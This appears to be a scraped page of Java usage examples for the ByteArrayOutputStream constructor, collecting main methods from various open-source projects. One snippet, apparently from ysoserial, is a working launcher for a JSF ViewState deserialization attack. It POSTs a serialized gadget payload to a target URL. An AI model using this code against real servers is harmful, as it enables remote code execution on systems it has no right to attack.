List of usage examples for java.io ByteArrayOutputStream ByteArrayOutputStream
public ByteArrayOutputStream()
From source file:com.vethrfolnir.TestJsonAfterUnmarshal.java
public static void main(String[] args) throws Exception { ArrayList<TestThing> tsts = new ArrayList<>(); for (int i = 0; i < 21; i++) { final int nr = i; tsts.add(new TestThing() { {// w ww . ja va 2 s . c o m id = 1028 * nr + 256; name = "Name-" + nr; } }); } ObjectMapper mp = new ObjectMapper(); mp.setVisibilityChecker(mp.getDeserializationConfig().getDefaultVisibilityChecker() .withCreatorVisibility(JsonAutoDetect.Visibility.NONE) .withFieldVisibility(JsonAutoDetect.Visibility.ANY) .withGetterVisibility(JsonAutoDetect.Visibility.NONE) .withIsGetterVisibility(JsonAutoDetect.Visibility.NONE) .withSetterVisibility(JsonAutoDetect.Visibility.NONE)); mp.configure(SerializationFeature.INDENT_OUTPUT, true); ByteArrayOutputStream br = new ByteArrayOutputStream(); mp.writeValue(System.err, tsts); mp.writeValue(br, tsts); ByteArrayInputStream in = new ByteArrayInputStream(br.toByteArray()); tsts = mp.readValue(in, new TypeReference<ArrayList<TestThing>>() { }); System.err.println(); System.out.println("Got: " + tsts); }
From source file:com.spotify.helios.Utils.java
public static ByteArrayOutputStream main(final List<String> args) throws Exception { final ByteArrayOutputStream out = new ByteArrayOutputStream(); final ByteArrayOutputStream err = new ByteArrayOutputStream(); final CliMain main = new CliMain(new PrintStream(out), new PrintStream(err), args.toArray(new String[args.size()])); main.run();//ww w . j ava2s.co m return out; }
From source file:ShowImage.java
public static void main(String args[]) throws IOException { List<File> files = ImageIOUtils.getFiles(args, new String[] { "ntf", "nsf" }); for (Iterator iter = files.iterator(); iter.hasNext();) { try {/* w ww .ja v a 2 s . c o m*/ File file = (File) iter.next(); log.debug("Reading: " + file.getAbsolutePath()); NITFReader imageReader = (NITFReader) ImageIOUtils.getImageReader("nitf", file); for (int i = 0; i < imageReader.getRecord().getImages().length; ++i) { log.debug(file.getName() + "[" + i + "]"); ByteArrayOutputStream stream = new ByteArrayOutputStream(); ImageSubheader subheader = imageReader.getRecord().getImages()[i].getSubheader(); subheader.print(new PrintStream(stream)); log.debug(stream.toString()); try { int numBands = subheader.getBandCount(); String irep = subheader.getImageRepresentation().getStringData().trim(); int bitsPerPixel = subheader.getNumBitsPerPixel().getIntData(); int nBytes = (bitsPerPixel - 1) / 8 + 1; if (irep.equals("RGB") && numBands == 3) { BufferedImage image = imageReader.read(i); ImageIOUtils.showImage(image, file.getName() + "[" + i + "]", true); } else { // read each band, separately for (int j = 0; j < numBands; ++j) { if (nBytes == 1 || nBytes == 2 || nBytes == 4 || nBytes == 8) { ImageReadParam readParam = imageReader.getDefaultReadParam(); readParam.setSourceBands(new int[] { j }); BufferedImage image = imageReader.read(i, readParam); ImageIOUtils.showImage(image, file.getName() + "[" + i + "][" + j + "]", true); ImageIO.write(image, "jpg", new FileOutputStream("image" + i + "_" + j + ".jpg")); // downsample // readParam.setSourceSubsampling(2, 2, 0, // 0); // BufferedImage smallerImage = imageReader // .read(i, readParam); // // ImageIOUtils.showImage(smallerImage, // "DOWNSAMPLED: " + file.getName()); } } } } catch (Exception e) { System.out.println(ExceptionUtils.getStackTrace(e)); log.error(ExceptionUtils.getStackTrace(e)); } } } catch (Exception e) { log.debug(ExceptionUtils.getStackTrace(e)); } } }
From source file:com.tc.simple.apn.quicktests.Test.java
/** * @param args/* w ww . j a v a 2 s . com*/ */ public static void main(String[] args) { SSLSocket socket = null; try { String host = "gateway.sandbox.push.apple.com"; int port = 2195; String token = "de7f197546e41a76684f8e2d89f397ed165298d7772f4bd9b0f39c674b185b0f"; System.out.println(token.toCharArray().length); //String token = "8cebc7c08f79fa62f0994eb4298387ff930857ff8d14a50de431559cf476b223"; KeyStore keyStore = KeyStore.getInstance("PKCS12"); keyStore.load(Test.class.getResourceAsStream("egram-dev-apn.p12"), "xxxxxxxxx".toCharArray()); KeyManagerFactory keyMgrFactory = KeyManagerFactory .getInstance(KeyManagerFactory.getDefaultAlgorithm()); keyMgrFactory.init(keyStore, "xxxxxxxxx".toCharArray()); SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(keyMgrFactory.getKeyManagers(), null, null); SSLSocketFactory socketFactory = sslContext.getSocketFactory(); socket = (SSLSocket) socketFactory.createSocket(host, port); String[] cipherSuites = socket.getSupportedCipherSuites(); socket.setEnabledCipherSuites(cipherSuites); socket.startHandshake(); char[] t = token.toCharArray(); byte[] b = Hex.decodeHex(t); OutputStream outputstream = socket.getOutputStream(); String payload = "{\"aps\":{\"alert\":\"yabadabadooo\"}}"; int expiry = (int) ((System.currentTimeMillis() / 1000L) + 7200); ByteArrayOutputStream bout = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(bout); //command dos.writeByte(1); //id dos.writeInt(900); //expiry dos.writeInt(expiry); //token length. dos.writeShort(b.length); //token dos.write(b); //payload length dos.writeShort(payload.length()); //payload. dos.write(payload.getBytes()); byte[] byteMe = bout.toByteArray(); socket.getOutputStream().write(byteMe); socket.setSoTimeout(900); InputStream in = socket.getInputStream(); System.out.println(APNErrors.getError(in.read())); in.close(); outputstream.close(); } catch (Exception e) { e.printStackTrace(); } finally { try { socket.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
From source file:jenkins.security.security218.ysoserial.exploit.JSF.java
public static void main(String[] args) { if (args.length < 3) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>"); System.exit(-1);/*from w w w. j a v a2s . c om*/ } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); try { URL u = new URL(args[0]); URLConnection c = u.openConnection(); if (!(c instanceof HttpURLConnection)) { throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; hc.setDoOutput(true); hc.setRequestMethod("POST"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); } catch (Exception e) { e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); }
From source file:org.apache.jmeter.protocol.http.proxy.NonGuiProxySample.java
public static void main(String[] args) throws IllegalUserActionException, IOException { JMeterUtils.setJMeterHome("./"); // Or wherever you put it. JMeterUtils.loadJMeterProperties(JMeterUtils.getJMeterBinDir() + "/jmeter.properties"); JMeterUtils.initLocale();//ww w. j a v a 2 s . co m TestPlan testPlan = new TestPlan(); ThreadGroup threadGroup = new ThreadGroup(); ListedHashTree testPlanTree = new ListedHashTree(); testPlanTree.add(testPlan); testPlanTree.add(threadGroup, testPlan); JMeterTreeModel treeModel = new JMeterTreeModel(new Object()); JMeterTreeNode root = (JMeterTreeNode) treeModel.getRoot(); treeModel.addSubTree(testPlanTree, root); ProxyControl proxy = new ProxyControl(); proxy.setNonGuiTreeModel(treeModel); proxy.setTarget(treeModel.getNodeOf(threadGroup)); proxy.setPort(8282); treeModel.addComponent(proxy, (JMeterTreeNode) root.getChildAt(1)); proxy.startProxy(); HttpHost proxyHost = new HttpHost("localhost", 8282); DefaultProxyRoutePlanner routePlanner = new DefaultProxyRoutePlanner(proxyHost); CloseableHttpClient httpclient = HttpClients.custom().setRoutePlanner(routePlanner).build(); try { httpclient.execute(new HttpGet("http://example.invalid")); } catch (Exception e) { // } proxy.stopProxy(); try (ByteArrayOutputStream out = new ByteArrayOutputStream()) { SaveService.saveTree(treeModel.getTestPlan(), out); out.close(); System.out.println(out.toString()); } }
From source file:de.serverfrog.pw.crypt.SerpentUtil.java
/** * Print all Security providers and their algos * * @param args args/* ww w .ja v a 2s .c o m*/ * @throws Exception Exception */ public static void main(String[] args) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); SecretKeySpec keySpec = new SecretKeySpec("test".getBytes("UTF-8"), "AES"); try (CipherOutputStream outputStream = SerpentUtil.getOutputStream(byteArrayOutputStream, keySpec)) { IOUtils.write("TEST", outputStream); } System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray())); System.out.println(byteArrayOutputStream.toString("UTF-8")); byte[] toByteArray = byteArrayOutputStream.toByteArray(); ByteArrayInputStream arrayInputStream = new ByteArrayInputStream(toByteArray); CipherInputStream inputStream = SerpentUtil.getInputStream(arrayInputStream, new SecretKeySpec("test".getBytes("UTF-8"), "AES")); byte[] bytes = new byte[1048576]; IOUtils.read(inputStream, bytes); System.out.println(new String(bytes, "UTF-8").trim()); // // for (Provider provider : Security.getProviders()) { // System.out.println(""); // System.out.println(""); // System.out.println(""); // System.out.println("-------------------------------"); // System.out.println("Name: " + provider.getName()); // System.out.println("Info: " + provider.getInfo()); // for (Map.Entry<Object, Object> entry : provider.entrySet()) { // System.out.println("Key: Class:" + entry.getKey().getClass() + " String: " + entry.getKey()); // System.out.println("Value: Class:" + entry.getValue().getClass() + " String: " + entry.getValue()); // } // for (Provider.Service service : provider.getServices()) { // System.out.println("Service: Algorithm:" + service.getAlgorithm() // + " ClassName:" + service.getClassName() // + " Type:" + service.getType() + " toString:" + service.toString()); // } // for (Object object : provider.values()) { // System.out.println("Value: " + object.getClass() + " toString:" + object.toString()); // // } // System.out.println("-------------------------------"); // } }
From source file:com.linkedin.pinot.perf.MultiValueReaderWriterBenchmark.java
public static void main(String[] args) throws Exception { List<String> lines = IOUtils.readLines(new FileReader(new File(args[0]))); int totalDocs = lines.size(); int max = Integer.MIN_VALUE; int maxNumberOfMultiValues = Integer.MIN_VALUE; int totalNumValues = 0; int data[][] = new int[totalDocs][]; for (int i = 0; i < lines.size(); i++) { String line = lines.get(i); String[] split = line.split(","); totalNumValues = totalNumValues + split.length; if (split.length > maxNumberOfMultiValues) { maxNumberOfMultiValues = split.length; }/*from ww w. j a v a 2s . c om*/ data[i] = new int[split.length]; for (int j = 0; j < split.length; j++) { String token = split[j]; int val = Integer.parseInt(token); data[i][j] = val; if (val > max) { max = val; } } } int maxBitsNeeded = (int) Math.ceil(Math.log(max) / Math.log(2)); int size = 2048; int[] offsets = new int[size]; int bitMapSize = 0; File outputFile = new File("output.mv.fwd"); FixedBitSkipListSCMVWriter fixedBitSkipListSCMVWriter = new FixedBitSkipListSCMVWriter(outputFile, totalDocs, totalNumValues, maxBitsNeeded); for (int i = 0; i < totalDocs; i++) { fixedBitSkipListSCMVWriter.setIntArray(i, data[i]); if (i % size == size - 1) { MutableRoaringBitmap rr1 = MutableRoaringBitmap.bitmapOf(offsets); ByteArrayOutputStream bos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(bos); rr1.serialize(dos); dos.close(); //System.out.println("Chunk " + i / size + " bitmap size:" + bos.size()); bitMapSize += bos.size(); } else if (i == totalDocs - 1) { MutableRoaringBitmap rr1 = MutableRoaringBitmap.bitmapOf(Arrays.copyOf(offsets, i % size)); ByteArrayOutputStream bos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(bos); rr1.serialize(dos); dos.close(); //System.out.println("Chunk " + i / size + " bitmap size:" + bos.size()); bitMapSize += bos.size(); } } fixedBitSkipListSCMVWriter.close(); System.out.println("Output file size:" + outputFile.length()); System.out.println("totalNumberOfDoc\t\t\t:" + totalDocs); System.out.println("totalNumberOfValues\t\t\t:" + totalNumValues); System.out.println("chunk size\t\t\t\t:" + size); System.out.println("Num chunks\t\t\t\t:" + totalDocs / size); int numChunks = totalDocs / size + 1; int totalBits = (totalNumValues * maxBitsNeeded); int dataSizeinBytes = (totalBits + 7) / 8; System.out.println("Raw data size with fixed bit encoding\t:" + dataSizeinBytes); System.out.println("\nPer encoding size"); System.out.println(); System.out.println("size (offset + length)\t\t\t:" + ((totalDocs * (4 + 4)) + dataSizeinBytes)); System.out.println(); System.out.println("size (offset only)\t\t\t:" + ((totalDocs * (4)) + dataSizeinBytes)); System.out.println(); System.out.println("bitMapSize\t\t\t\t:" + bitMapSize); System.out.println("size (with bitmap)\t\t\t:" + (bitMapSize + (numChunks * 4) + dataSizeinBytes)); System.out.println(); System.out.println("Custom Bitset\t\t\t\t:" + (totalNumValues + 7) / 8); System.out.println("size (with custom bitset)\t\t\t:" + (((totalNumValues + 7) / 8) + (numChunks * 4) + dataSizeinBytes)); }
From source file:net.itransformers.snmp2xml4j.snmptoolkit.XsltExecutor.java
/** * <p>main.</p>/* w w w . j av a 2 s.c o m*/ * * @param args an array of {@link java.lang.String} objects. * @throws java.io.IOException if any. */ public static void main(String[] args) throws IOException { if (args.length != 3 && args.length != 4) { System.out.println("Missing input parameters"); System.out.println( " Example usage: xsltTransform.sh /home/test/test.xslt /usr/data/Input.xml /usr/data/Output.xml "); return; } String inputXslt = args[0]; if (inputXslt == null) { System.out.println("Missing input xslt file path"); System.out.println( " Example usage: xsltTransformer.sh /home/test/test.xslt /usr/data/Input.xml /usr/data/Output.xml"); return; } String inputFilePath = args[1]; if (inputFilePath == null) { System.out.println("Missing input xml file path"); System.out.println( " Example usage: xsltTransformer.sh /home/test/test.xslt /usr/data/Input.xml /usr/data/Output.xml"); return; } String outputFilePath = args[2]; if (outputFilePath == null) { System.out.println("Missing output file path"); System.out.println( " Example usage: xsltTransformer.sh /home/test/test.xslt /usr/data/Input.xml /usr/data/Output.xml"); return; } Map params = new HashMap<String, String>(); if (args.length == 4) { String deviceOS = args[3]; if (deviceOS != null) { params.put("DeviceOS", deviceOS); } } ByteArrayOutputStream outputStream1 = new ByteArrayOutputStream(); File xsltFileName1 = new File(inputXslt); FileInputStream inputStream1 = new FileInputStream(new File(inputFilePath)); XsltTransformer xsltTransformer = new XsltTransformer(); try { xsltTransformer.transformXML(inputStream1, xsltFileName1, outputStream1, params); } catch (TransformerException e) { e.printStackTrace(); //To change body of catch statement use File | Settings | File Templates. } catch (SAXException e) { e.printStackTrace(); } catch (ParserConfigurationException e) { e.printStackTrace(); } FileUtils.writeStringToFile(new File(outputFilePath), new String(outputStream1.toByteArray())); System.out.println("Done! please review the transformed file " + outputFilePath); }
From source file:net.kahowell.xsd.fuzzer.XmlGenerator.java
/** * Drives the application, parsing command-line arguments to determine * options./*from ww w . j a v a 2 s . c o m*/ * * @param args command line args */ public static void main(String[] args) { try { setupLog4j(); CommandLine commandLine = parser.parse(ConsoleOptions.OPTIONS, args); if (commandLine.hasOption("d")) { Logger.getLogger("net.kahowell.xsd.fuzzer").setLevel(Level.DEBUG); } for (Option option : commandLine.getOptions()) { if (option.getValue() != null) { log.debug("Using " + option.getDescription() + ": " + option.getValue()); } else { log.debug("Using " + option.getDescription()); } } Injector injector = Guice.createInjector( Modules.override(Modules.combine(new DefaultGeneratorsModule(), new DefaultOptionsModule())) .with(new CommandLineArgumentsModule(commandLine))); log.debug(injector.getBindings()); XsdParser xsdParser = injector.getInstance(XsdParser.class); XmlOptions xmlOptions = injector .getInstance(Key.get(XmlOptions.class, Names.named("xml save options"))); XmlGenerator xmlGenerator = injector.getInstance(XmlGenerator.class); XmlGenerationOptions xmlGenerationOptions = injector.getInstance(XmlGenerationOptions.class); doPostModuleConfig(commandLine, xmlGenerationOptions, injector); ByteArrayOutputStream stream = new ByteArrayOutputStream(); XmlObject generatedXml = xsdParser.generateXml(commandLine.getOptionValue("root")); generatedXml.save(stream, xmlOptions); if (commandLine.hasOption("v")) { if (xsdParser.validate(stream)) { log.info("Valid XML file produced."); } else { log.info("Invalid XML file produced."); System.exit(4); } } xmlGenerator.showOrSave(stream); } catch (MissingOptionException e) { if (e.getMissingOptions().size() != 0) { System.err.println("Missing argument(s): " + Arrays.toString(e.getMissingOptions().toArray())); } helpFormatter.printHelp(XmlGenerator.class.getSimpleName(), ConsoleOptions.OPTIONS); System.exit(1); } catch (ParseException e) { helpFormatter.printHelp(XmlGenerator.class.getSimpleName(), ConsoleOptions.OPTIONS); System.exit(2); } catch (Exception e) { e.printStackTrace(); System.exit(3); } }